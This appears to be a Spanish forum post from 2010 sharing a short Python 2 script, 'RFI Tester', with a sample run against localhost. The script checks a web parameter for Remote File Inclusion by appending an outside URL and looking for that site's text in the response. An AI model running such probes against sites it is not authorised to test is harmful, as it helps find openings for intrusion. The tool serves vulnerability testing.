Hola a todos.
Acabo de hacer un simple verificador de vulnerabilidad RFI
#!usr/bin/python
#RFI Tester (C) Doddy Hackman
import os,sys,urllib2,re
def header() :
print "\n--== RFI Tester ==--\n"
def copyright() :
print "\n\n(C) Doddy Hackman 2010\n"
exit(1)
def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web>\n"
def toma(web) :
return urllib2.urlopen(web).read()
def test(web):
try:
print "\n[+] Testing vulnerability RFI in",web
code = toma(web+"http://www.supertangas.com")
if(re.findall("Los mejores TANGAS de la red",code,re.I)):
print "[+] RFI Detected"
else:
print "[-] RFI Not Found"
except:
pass
header()
if len(sys.argv) != 2 :
show()
else :
test(sys.argv[1])
copyright()
#The End
Ejemplo de uso
python rfi.py http://127.0.0.1/rfi.php?index=
C:\Users\DoddyH\Desktop\Arsenal X parte 2>rfi.py http://127.0.0.1/rfi.php?index=
--== RFI Tester ==--
[+] Testing vulnerability RFI in http://127.0.0.1/rfi.php?index=
[+] RFI Detected
(C) Doddy Hackman 2010